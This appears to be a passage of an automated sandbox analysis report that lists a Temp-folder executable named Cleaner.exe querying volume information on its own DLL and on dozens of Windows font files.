Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Bunifu_UI_v1.5.3.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation			Jump to behavior
